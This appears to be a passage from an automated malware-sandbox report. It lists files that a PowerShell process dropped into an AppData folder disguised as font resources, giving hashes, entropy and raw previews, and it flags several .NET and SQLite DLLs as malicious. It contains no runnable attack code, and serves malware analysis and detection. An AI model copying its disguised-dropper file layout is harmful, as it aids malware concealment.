Preview:	............j..2..k..2..l..2..n..2..o..2..p..2..q..2..r..2..s..3..t..3..v."3..w./3..y.53..z.D3..\|.J3..}.\3....d3....i3....q3....y3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....4.....4....#4....44....C4....Z4....o4....v4....y4....z4.....4.....4.....4.....4.....4.....4.....4.....4.....4..*..4..+..4..,..4../..5..0..5..1.C5..2.U5..3._5..4.~5..5..5..6..5..7..5..>..5..?..5..N..6..g..6..i..6..j..6..k..6..l.#6..xF(6..yF16..zFE6..{FR6...F.6...F.6...F.6...F.6...F.6...F.6...F.6...F.7...F&7...F47...F@7...FG7...Fb7...F.7...F.7...Fi8...F.8...F.8...F.9...F.9...F=9...F.9...F.:...F.:...F.:...F.:...F@;...F.;...F.;...F.;...F.;...F.<...F6=...F.=...F.=...F.>...F.>...F.>...F&>...F1>...FJ>...F.>...F.>...F.?...F"?...F2?...FY?...F.?...F.?...F@@...Fk@...F.@...F.@...F.@...F.@...F.@...F.@...F.@...F.A...F.A...F.A...F.A...F:A...F_A...F.A...F.A...F.A...F.A...F.B...F.B...F.B...F7B...F.B...F.C...F.D...F.D...FBD...FJD...FZD...FgD...FuD...F.D...F.E...FPE...FsE...F.E...F.E...F.E...F.E

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\lt.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	110440
Entropy (8bit):	5.6343960139696
Encrypted:	false
SSDEEP:	1536:n8UXuRiF1eo5N8FYzKcdnaJGNMJ0c5PAQpvK5rmz3MWbhnfmvVDF6S05nGWSgAGU:n8UX/1eOxKonaJYQjbXd+NDF6S05nI
MD5:	6B4C975B9A0B31FA4C0F8818EC53942C
SHA1:	DCC10F3758945824B092D071424F9ECB413A353C
SHA-256:	70996649507CC815F0C4886F8C4822D45C5E201E8E41DC464AB4973EA19D8A23
SHA-512:	4AD012581C3853D944152519202E1DF67DBFEE2FA752C3114DA5BF8CB6653F1CB093D5BF951795990A0E0E5D16C8375AB99074CAFECBCE518AB83DDAA30D2DD9
Malicious:	false
Preview:	............j..2..k..2..l..2..n..2..o..2..p..2..q..2..r..3..s..3..t.#3..v.83..w.E3..y.K3..z.Z3..\|.`3..}.r3....z3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....4.....4.....4...."4....+4....;4....N4....a4....s4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....5..*.(5..+.+5..,.I5../.u5..0.x5..1..5..2..5..3..5..4..5..5..6..6.b6..7..6..>..6..?..6..N..6..g..6..i..6..j..6..k..6..l..6..xF.7..yF.7..zF$7..{F97...Fr7...F\|7...F.7...F.7...F.7...F.7...F.7...F.8...FF8...FY8...Fj8...Fq8...F.8...F.8...F89...F.9...FO:...Fi:...F.:...F.:...F.:...F\;...F.<...F2<...FJ<...Fs<...F.<...F.>...F.>...F$>...FE>...Fo@...F.A...F.B...F.C...F?C...FHC...F^C...FgC...FzC...F.C...F.D...F?D...F.D...F.D...F.D...F+E...F.E...F.E...FMF...F.F...F.F...F.F...F.F...F.F...F.F...F.F...F.G...F.G...F!G...F$G...FKG...FoG...F.G...F.G...F.G...F.G...F.H...F.H...F%H...FKH...F.H...F@M...FRM...FqM...F.M...F.M...F.M...F.M...F.M...FRN...F.N...F.N...F.O...FHO...FnO...F~O...F.O...F.O

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\lv.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	109598
Entropy (8bit):	5.635478121395456
Encrypted:	false
SSDEEP:	1536:AllVfG/A7NnPXNGchkGB5nDJa7z+z0AhzOgUcCYh2Nn4WSuAhaIvhZmE42Cla2M6:cbfGI7dNDkGcOUcCYwNLyxfaVdF
MD5:	2AC1161C66A47BB69378559C2C6FB44D
SHA1:	A1E28A5AE021FE5CBF57ED7E6E7177114421BFA6
SHA-256:	605D916A697824C4AD6C418D6E7CC157B85825DA5DC08A0716D89C56BEF0A6FC
SHA-512:	2E5A9D0ED020447E6482FEED0770C7F1F12118591C7412B4BB796A2219B9977632CFCEF16FAA0F28064D8B19C2DAFC4FD2CAE929D57BDABD37702152FA850855
Malicious:	false
Preview:	............j..2..k..2..l..2..n..2..o..2..p..3..q..3..r..3..s.3..t.33..v.H3..w.U3..y.[3..z.j3..\|.p3..}..3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....3.....4.....4....;4....=4....A4....H4....S4....c4....v4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....4.....5.....5.....5....65...C5..+.F5..,.d5../..5..0..5..1..5..2..5..3..5..4..6..5.'6..6.b6..7..6..>..6..?..6..N..6..g..6..i..6..j..6..k..6..l..6..xF.6..yF.6..zF.6..{F.7...FQ7...F]7...Ff7...Fw7...F.7...F.7...F.7...F.7...F.8...F-8...FB8...FH8...F]8...F.8...F.9...Ft9...F.9...F.:...F/:...FB:...F]:...F.:...F.;...F.;...F.;...F'<...F.<...Fd=...Fk=...F\|=...F.=...F.?...F.@...F]A...F.A...F.A...F.A...F.A...F.A...F.A...F(B...FrB...F.B...F.B...F.C...F&C...FZC...F.C...F.C...FFD...FuD...F.D...F.D...F.D...F.D...F.D...F.D...F.D...F"E...F#E...F9E...F<E...FmE...F.E...F.E...F.E...F.F...F.F...F7F...F<F...FVF...F{F...F.F...F.I...F.I...F.J...FKJ...FSJ...F{J...F.J...F.J...F"K...F`K...F.K...F.K...F.L...F:L...FJL...FNL

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\AdonisUI.ClassicTheme.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	293888
Entropy (8bit):	6.3825112654044185
Encrypted:	false
SSDEEP:	6144:aMNTja9KIKf5RCs1ussMKlzI5iJQn9gu5DPOvObo:5Za9KIjs1ussMKlzI5lo
MD5:	8A1B183BCA062F48402C74F2DABA7B92
SHA1:	D9417BF78B3B37D668C08E67F3C0F21DBC6DC11E
SHA-256:	8103F2CCE6A864CEEFE6C5B0C05087AC85AB04A2ABF150E93BC9DB90C54D9D20
SHA-512:	0F5120FA9ED24D2A49B82CDC62113302002CCC5E1CF389CC28830F36B2915F876BDF77094FA6DFA312FC01B6F482465297FA734509511FA7E72285569CE57E87
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Ew\..........." ..0..r..........z.... ........... ....................................`.................................&...O...................................D...T............................................ ............... ..H............text....p... ...r.................. ..`.rsrc................t..............@..@.reloc...............z..............@..B................Z.......H.......P ..............$'.. h..........................................BSJB............v4.0.30319......l.......#~..$.......#Strings............#US.........#GUID...........#Blob......................3................................................;.V.....V...e.C...............(.............+.....+...t.+.....+.....+.....+...[.+...y.+...).+...C.v.................=.....=.....=...1.=...9.=...A.=...I.=...Q.=...Y.=...a.=...i.=...q.=...y.=.....=.....=.......5.....>.....]...#.f...+.

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\AdonisUI.ClassicTheme.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	146
Entropy (8bit):	4.420807059180168
Encrypted:	false
SSDEEP:	3:vFWWMNHUz6GbC/0tFFNuRSWuQWbS9/FFNrGMH/xtgGM8Xby:TMV06GbSWVccSXNffgp8Xby
MD5:	68A996036A022036A7260C21ACA60D8D
SHA1:	F7CCC93B98EDE087327B9A2EE33B49084ADAAA7F
SHA-256:	E97828272A7A30780A4B92C791AE94B3ADC4268463C53F81DF0A27A372C77348
SHA-512:	0106CAEECB55FF8599BC6F666E19306354E53BF2638C6298C8148A1E956EF7FDD04D79575ABEBD25E4DF9D7E21F5996B49B293E0F2B03B53D81EBE95A1759997
Malicious:	false
Preview:	<?xml version="1.0"?>..<doc>.. <assembly>.. <name>AdonisUI.ClassicTheme</name>.. </assembly>.. <members>.. </members>..</doc>..

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\AdonisUI.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	167936
Entropy (8bit):	6.004179917903513
Encrypted:	false
SSDEEP:	3072:fuZPAdWKbu3355s555GPQKljrKxX0yAbTxin1YzqHf0llbS1sjZ73h39Iwj:GydWDrKxG3h39Iw
MD5:	3D4C8B6AAD28EC574E56CCDA22B34EF3
SHA1:	BC22AC7097E597FBA3D7367B2FD5C61ADFF28941
SHA-256:	DB46B6106DC1B30041CE3F287DED91166895FF3F1928250FC79DD46C444B1E45
SHA-512:	FC56241E65DC7BCC678A2AF92F79BDA017CEB3F7C4F203C7E9CE753D573DA868608A6F56545C0D181A625737278B7B73223E5DCCE85BF1F3C5B7B1B06E5C5739
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...TB............" ..0.................. ........... ....................................`....................................O.......................................T............................................ ............... ..H............text... .... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......\|....E..........h...............................................V.....( ...r...ps!...V.....( ...r!..ps!...V.....( ...r9..ps!...V.....( ...rc..ps!...V.....( ...r...ps!...V.....( ...r...ps!...V.....( ...r...ps!...V.....( ...r9..ps!...V.....( ...rs..ps!...V.....( ...r...ps!...V.....( ...r...ps!...V.....( ...r...ps!...V.....( ...r1..ps!...V.....( ...rU..ps!...V.....( ...r...ps!...V.....( ...r...ps!...V.....( ...r...ps!...V.....( ...r1..ps!...V.....( ...r

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\AdonisUI.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	78454
Entropy (8bit):	4.658844160608811
Encrypted:	false
SSDEEP:	1536:sBjMs3uxMVuQHWVhVRVeHELtQyVuHEItQyk3n2q6RD3CKlJvJk3IwniCbgnHCoaf:sg8MA0OhcSc
MD5:	A310F32CE7EB9A28E9B0FA5E87AC71DE
SHA1:	BB8204232932DFEA23D2FA76B44954AC559922AA
SHA-256:	3DBC7B701F01CA178359A1DE543792C919ED49C16DFA06D766C545C8FFA51C50
SHA-512:	3CA0A763383092C5DF00EFED0A02A13B2413A17E6B0F966364BFE932A2CF8992450778DAD730D9AFCDC7B8EE090E3E7C124D3F38E92A213403F38120E87F6805
Malicious:	false
Preview:	<?xml version="1.0"?>..<doc>.. <assembly>.. <name>AdonisUI</name>.. </assembly>.. <members>.. <member name="T:AdonisUI.Controls.AdonisWindow">.. <summary>.. Window with custom chrome supporting theming of non-client areas.. </summary>.. </member>.. <member name="P:AdonisUI.Controls.AdonisWindow.IconVisibility">.. <summary>.. Gets or sets the visibility of the icon component of the window... </summary>.. </member>.. <member name="P:AdonisUI.Controls.AdonisWindow.IconSource">.. <summary>.. Gets or sets the window's icon as <see cref="T:System.Windows.Media.ImageSource">ImageSource</see>... When the <see cref="F:System.Windows.Window.IconProperty">IconProperty</see> property changes, this is updated accordingly... </summary>.. </member>.. <member name="P:AdonisUI.Controls.AdonisWindow.TitleBarActualHeight">..

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\SQLite.Interop.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1763632
Entropy (8bit):	6.553412105578455
Encrypted:	false
SSDEEP:	24576:YPUxmkgSxPgobZPRjZ22H6edtOZzWySRO3mlE0i/Yl5P+qF+8k+ao/si6:8UxXPgo8e6WYBSJZSS5P97I
MD5:	56A504A34D2CFBFC7EAA2B68E34AF8AD
SHA1:	426B48B0F3B691E3BB29F465AED9B936F29FC8CC
SHA-256:	9309FB2A3F326D0F2CC3F2AB837CFD02E4F8CB6B923B3B2BE265591FD38F4961
SHA-512:	170C3645083D869E2368EE16325D7EDAEBA2D8F1D3D4A6A1054CFDD8616E03073772EEAE30C8F79A93173825F83891E7B0E4FD89EF416808359F715A641747D7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{..;...;...;...!./...#...."......D..<....D.......D..+.......3...%HC.8...;......D..:...D..:...D/.:...D..:...Rich;...........................PE..d...vr.a.........." ......................................................................`.........................................@........,..x.......................0A......(....x..p........................... y............... ...............................text............................... ..`.rdata....... ......................@..@.data....Y...@...D...(..............@....pdata...............l..............@..@.gfids..............................@..@.rsrc...............................@..@.reloc..(...........................@..B................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x86\BouncyCastle.Crypto.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3316968
Entropy (8bit):	6.532906510598102
Encrypted:	false
SSDEEP:	49152:JIBbo0WIgmjljFtXCdRLRBcJd+KaGxHIkMNqzP56O8lZ7qXUqi9Y:6BbBWIgWljGxRB/LLY
MD5:	0CF454B6ED4D9E46BC40306421E4B800
SHA1:	9611AA929D35CBD86B87E40B628F60D5177D2411
SHA-256:	E51721DC0647F4838B1ABC592BD95FD8CB924716E8A64F83D4B947821FA1FA42
SHA-512:	85262F1BC67A89911640F59A759B476B30CA644BD1A1D9CD3213CC8AAE16D7CC6EA689815F19B146DB1D26F7A75772CEB48E71E27940E3686A83EB2CF7E46048
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R............" ..0..r2..........&1.. ....2...... ........................2.....6Q3...@.................................G&1.O.....2..............\|2.. ....2.....X.(.p............................................ ............... ..H............text....p2.. ...r2................. ..`.rsrc.........2......t2.............@..@.reloc........2......z2.............@..B................{&1.....H...........$....................(.....................................V!........s..........~....-(....o....o....o.........~....-.~.........~......( ......0..G.......(!....o"....s.1....s,..%..(.... ....o.....o 0...Zo....t....o8(..(......0..$..........(.....(....o.....(!.......io#...z...(....(!....o"...o....(......0............T....r...p.(O....o$....(......0..I.......sG...sB)..s.(..s.(...(....s6(....,..o%....2...(....sV(....+.....%..ox.....( ...*V.(&.....}......}..

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x86\BouncyCastle.Crypto.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1804624
Entropy (8bit):	4.685649253805633
Encrypted:	false
SSDEEP:	12288:Pky4oeqjABNM7fN62FuyEyp/0nNe8C2cjkTYExbXAJv:PkHoeqUBiZoPYYbXk
MD5:	253AEC9D04057E346233763B2AE93A11
SHA1:	2A08B5E3F527B717AAE41B0A295B6B4B4A446E9F
SHA-256:	DE94C224474FAD71CD45A2FCD802976F16B8EDF7DC290F1E353752D495703E10
SHA-512:	7F71600BE96BCF1DF1748E3715ECB939706D19EA3E19B6D67497718A57CE6B0C8B985AAB2B24BF3A2F8A58F471B03E0F807EF3B7927192D341609975E7EDBD23
Malicious:	false
Preview:	<?xml version="1.0"?>..<doc>.. <assembly>.. <name>BouncyCastle.Crypto</name>.. </assembly>.. <members>.. <member name="M:Org.BouncyCastle.Asn1.Anssi.AnssiNamedCurves.GetByOid(Org.BouncyCastle.Asn1.DerObjectIdentifier)">.. return the X9ECParameters object for the named curve represented by.. the passed in object identifier. Null if the curve isn't present... .. @param oid an object identifier representing a named curve, if present... </member>.. <member name="M:Org.BouncyCastle.Asn1.Anssi.AnssiNamedCurves.GetOid(System.String)">.. return the object identifier signified by the passed in name. Null.. if there is no object identifier associated with name... .. @return the object identifier associated with name, if present... </member>.. <member name="M:Org.BouncyCastle.Asn1.Anssi.AnssiNamedCurves.GetName(Org.BouncyCastle.Asn1.DerObjectIdentifier)"

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x86\SQLite.Interop.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1374512
Entropy (8bit):	6.792638917504314
Encrypted:	false
SSDEEP:	24576:eiDAYMz2epP8AEXn8z7qsyb8c+gntHKuvKtBLtTvD0nsrFSK96fYlYyv:1AYMza36enEuyjpTV96A2yv
MD5:	8BE215ABF1F36AA3D23555A671E7E3BE
SHA1:	547D59580B7843F90AACA238012A8A0C886330E6
SHA-256:	83F332EA9535814F18BE4EE768682ECC7720794AEDC30659EB165E46257A7CAE
SHA-512:	38CF4AEA676DACD2E719833CA504AC8751A5FE700214FF4AC2B77C0542928A6A1AA3780ED7418387AFFED67AB6BE97F1439633249AF22D62E075C1CDFDF5449B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........h.............jO......jO..^...jO............................,..................F...I.......I.......L.......I.......Rich............................PE..L..._r.a...........!.....n...F............................................................@.............................h.......x....`..................0A...p..h...p...p...............................@...............@............................text...fl.......n.................. ..`.rdata...............r..............@..@.data....5.......(..................@....gfids.......P......."..............@..@.rsrc........`.......$..............@..@.reloc..h....p......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\SY______.PFM

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Printer Font Metrics Symbol, 672 bytes, Symbol
Category:	dropped
Size (bytes):	672
Entropy (8bit):	4.8149453965834415
Encrypted:	false
SSDEEP:	12:60J+x6sme/VfDQhNwswg6uYYYYYYLLp6G31GjTR8ANf4gnwCGHi7hZCJQpJN:6bwsThbswuLp6E1GXqANfBY4hZCJQpJN
MD5:	692B5B1BE7394E93FD6E0750CAE81474
SHA1:	208CEB86C2DDE35C78FB40AC0F2573F4E4FF499C
SHA-256:	035AF7591938139C78F8AD715047C16CD439C6A7791035DEEC013439921E6925
SHA-512:	9B7EF79D488361BD1E94072B4FDAF17854881E673DC4A2981C31A65A185DE987EC6C605753E1A645E74ACD9FB030CFD81F5F0BB81661B3C43DFAA5EF46E0CAEB
Malicious:	false
Preview:	......Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems In.....,.,.../.............Q.... ...................................................4...............................d.2.2.d.....7.2.....PostScript.Symbol.Symbol...M.....%.A.....M.M...%...%.............................%.%.%...%.......d.c...[...M.w.....y.........,.P.c...........c.M._.M.......w.%.%.........[.I.[.%.%.@...%.%...%.[...@.................%.....................................................................l...%...................[...[...%...%.%.......%.%.%.%...[.....7...........7...........................z.7.%.....[.[.....[...[...I...............................I.............................

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\SaslPrep\SaslPrepProfile_norm_bidi.spp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	13724
Entropy (8bit):	2.9768827947111784
Encrypted:	false
SSDEEP:	24:j2Lc2SuJAoYYY6JB/BsSh7F3eQfWiLLN+LEEEEEEEEEEEEEEEEEEEEEEEEEEEEp:2c29CoX5JBNhCiLx+l
MD5:	787DCAE108EF9D5FCD9F60CE6387E7B1
SHA1:	83A906239423183910E617273D6023C534E47E5C
SHA-256:	F2501579FC7AB062324B4E1A45428F69F9A37E0363A4FC1D3734157B587B92E1
SHA-512:	C65D3BC01406054D9932E2C840980978A5BE4BED7BF8DD60A063304017F0D8B8618D7E7688B365110976822896256CB98ED6CE40C2B6032E0D06637D73C8E283
Malicious:	false
Preview:	..'........SPRP................05..............................................................eirT%...`...0...;.X.X.C.;...X.X.X.X.X.X.X.X.X.X.X.`.e.X.X.j.X.o.X.X.w...........X.X.X.X...X.....a.....................X.X.X.K...........X...............................'.-.5.=.E.K.S.[.c.i.p.x.'......................................................."..2...X.X.:.@.E.Y.L...X.T.\.....X.a.e.X.X.m.X.X.u.X.\...X.\|.X...z.....z.X.......X.X.....X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.....X.X...........X.X.......X.X...X.......................................................................................X.X.X.X...X.X.\...X.....X.[.....%.+.....o...e...X.....X...X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.o...X.....X.X.X.X...X.X.X.X.X.X.X.X.".X.X............:./.....7.e.?.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.........................................................C.X.X...X.X.X.X.X.X...K.3.X...X...X.X.X...S.X.X.......e...X.Z._.X.X.?...X.X.X...X.X.....X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\ICU\icudt26l.dat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	214512
Entropy (8bit):	5.620862548294959
Encrypted:	false
SSDEEP:	3072:C5em1am14oBR+pa3sHxW5D+eXHdsdj5xkq7KV2Sq71c64ZAr3Abyc7dAzATXcErQ:CR1R/UFTSO1TPcaMm
MD5:	525DE57B8D1167A4EFB7EB00C013354F
SHA1:	3F1AC2D2B6807C3ED2FC41351262712B72FAD749
SHA-256:	B388595D6E96E51430BEC6022B1A5635CA541E60936ABD73342AE8319DFE6802
SHA-512:	DFD950D1220F46BF5F75C4130902BB63A4447C435D25386461A4E4653E73DC6780577FB51B14B182A1F2B1A38585914237625B199D806B6F80F9BECC64EEFF32
Malicious:	false
Preview:	...'........CmnD........ Copyright (C) 2003, International Business Machines Corporation and others. All Rights Reserved. ..............`...2....j..E.......icudt26l_cnvalias.icu.icudt26l_unorm.icu.icudt26l_uprops.icu........ ..'........CvAl........................................\....... .....8.P................. .*.3.6.?.C.t.........&.?.Q.l...............).C.].w.................................A.~.....U.....-.I.......0...........!.T...........].y...........<.\.n.........$.?.X.s...............-.<.V.p.............&.5.D.S.b.q...............8.Y.y...............1.@.V.......#.J.q.........).W.g.............E.\.s.............$.?.N.].......4.e........._.s.................&.:.N.].q.....................C.X.m.........................................=.......!.7...S.J.......!.H.o.........'...U.D.....r......./.P.l.........8.l.............X.@.b.1.n.....5.......8.u.........G.+...,.C.Z.q...!...........\|.....y...0.......6...q.......H.y.......B.?.i.....w.......N.........H.........9.........3.....-.{.....

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Adobe\symbol.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10745
Entropy (8bit):	5.463218625267491
Encrypted:	false
SSDEEP:	192:sRDIlhfxjh5/q7Wr6KyfyHnW9WSQftm15VkCnl2moTTEmbZ3mrZWlBAjnBmnVRn8:sVCx27WuKy0W9WDlSVPlwd3C/BCVBFyB
MD5:	31D752FA13B4D1FC7B7B4747A3F6D3F9
SHA1:	EAAFD280B2EA187F078674B9A1D5A8206CCF4A13
SHA-256:	52DBABCDEBE38F3E19E9071D6796FE49F1463F03D2D82064AAB4A10BFBD4DDDF
SHA-512:	ED402D201B19C9EDEEEFA17D2F82A480B8D16CE3235668A91BDD0E6F3B59CBB55BC7119A272C34D1C4E88999B6FE08697D65D65E7B4DE44C197E57F2FF44F079
Malicious:	false
Preview:	#..# Name: Adobe Symbol Encoding to Unicode..# Unicode version: 2.0..# Table version: 1.0..# Date: 2011 July 12..# ..# Copyright (c) 1991-2011 Unicode, Inc. All Rights reserved...# ..# This file is provided as-is by Unicode, Inc. (The Unicode Consortium). No..# claims are made as to fitness for any particular purpose. No warranties of..# any kind are expressed or implied. The recipient agrees to determine..# applicability of information provided. If this file has been provided on..# magnetic media by Unicode, Inc., the sole remedy for any claim will be..# exchange of defective media within 90 days of receipt...# ..# Unicode, Inc. hereby grants the right to freely use the information..# supplied in this file in the creation of products supporting the..# Unicode Standard, and to make copies of this file in any form for..# internal or external distribution as long as this notice remains..# attached...# ..# Format: 4 tab-delimited fields:..#

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12296
Entropy (8bit):	5.3793384753346905
Encrypted:	false
SSDEEP:	192:IcRDIlhXomP1RueMV1tQdS6t0Ftjzt8CFrMbyaYQgtrtXiPIn:IcV+ombupV1mdS5SC+20I
MD5:	691886379048A5F9065EE903757AF29B
SHA1:	9F6453E6F027E771602AD98C5379EAA2B2469463
SHA-256:	E7651BCF12532AF30C79C499E7A280CCBCD7F208436999A21B1500B07149BC95
SHA-512:	E2934BD4F36CC21E1D71C4FCFC3C31D091A54F04762B0CF7B20FD6BF70CE30FD209A406020C82C565005BC0677471EB524B5A537059E29E4231955FC9307216C
Malicious:	false
Preview:	#..# Name: Adobe Zapf Dingbats Encoding to Unicode..# Unicode version: 2.0..# Table version: 1.0..# Date: 2011 July 12..# ..# Copyright (c) 1991-2011 Unicode, Inc. All Rights reserved...# ..# This file is provided as-is by Unicode, Inc. (The Unicode Consortium). No..# claims are made as to fitness for any particular purpose. No warranties of..# any kind are expressed or implied. The recipient agrees to determine..# applicability of information provided. If this file has been provided on..# magnetic media by Unicode, Inc., the sole remedy for any claim will be..# exchange of defective media within 90 days of receipt...# ..# Unicode, Inc. hereby grants the right to freely use the information..# supplied in this file in the creation of products supporting the..# Unicode Standard, and to make copies of this file in any form for..# internal or external distribution as long as this notice remains..# attached...# ..# Format: Three tab-delimited

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12919
Entropy (8bit):	5.2462976949839515
Encrypted:	false
SSDEEP:	192:X1ei8BsiHo6ZD5OSlEZGWRBnBb7ec56ZXj3nZv0CU8+zLtVoeuq/W+vsAfzMUMQi:FeDsiV4SlTWRRBb7e6b6D
MD5:	3EA4A9A2765040C721374CCBB8E7BD59
SHA1:	BAE4C79A9E9C27CBB7308BB364F69566387CCE45
SHA-256:	AE8FDF0311FE249EE1A3E08FE36C394CA2DA791C622B665DDEBCB623AC248903
SHA-512:	1A86665A081C73D170AC6BA9A3ABFBEDECD71557B274D99E254A446E852E6C62CC0BF383EEAFBFC1722F63AF65B4E4BC73F9E0EBC6FD790317B08FFD488BE289
Malicious:	false
Preview:	#=======================================================================..# FTP file name: CENTEURO.TXT..#..# Contents: Map (external version) from Mac OS Central European..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b1>, ufrm<b1>, and Text..# Encoding Converter version 1.5...# n05 1998-Feb-05 Update header comments to new format; no..# mapping changes. Matches internal utom<n3>,..# ufrm<n13>, and Text Encoding Converter..# version 1.3...# n03 1995-Apr-15 First version (after fixing some typos)...# Matches internal ufrm<n5>...#..# Standard header:.

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	18923
Entropy (8bit):	5.022754936026668
Encrypted:	false
SSDEEP:	384:+aT8iQfVsEByru8n1ePc1RJ1lX1HEvSZ3:dIqEc/X1kvSZ3
MD5:	0FBAD8E1C335AC42617936AA6F89EC89
SHA1:	02BA453ABFBE24B25C35A2D75C6134714B3D7D43
SHA-256:	83246B8C942CBACF1031445A99E62ACBB4733EF4167BEBFBA2BD852869824EAB
SHA-512:	AB9E0BB4CAE4C72CBCCF7D061F1F181DC86277E8E59424802422C6641BEC864D3E87B2261D56CB7991E3F60C5C6F56A814073F7D180745B8499C05C39F93842A
Malicious:	false
Preview:	#=======================================================================..# FTP file name: CORPCHAR.TXT..#..# Contents: Registry (external version) of Apple use of..# Unicode corporate-zone characters...#..# Copyright: (c) 1994-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b03 1999-Sep-22 Update contact e-mail address. Matches..# internal registry <b3> and Text Encoding..# Converter version 1.5...# b02 1998-Aug-18 Expanded usage of 0xF8A0. Matches internal..# registry <b3>...# n11 1998-Feb-05 Minor update to header comments..# n09 1997-Dec-14 Update to match internal registry <n23>:..# Add source hint 0xF850, transcoding hints..# 0xF860-0xF86B and 0xF870-0xF872,

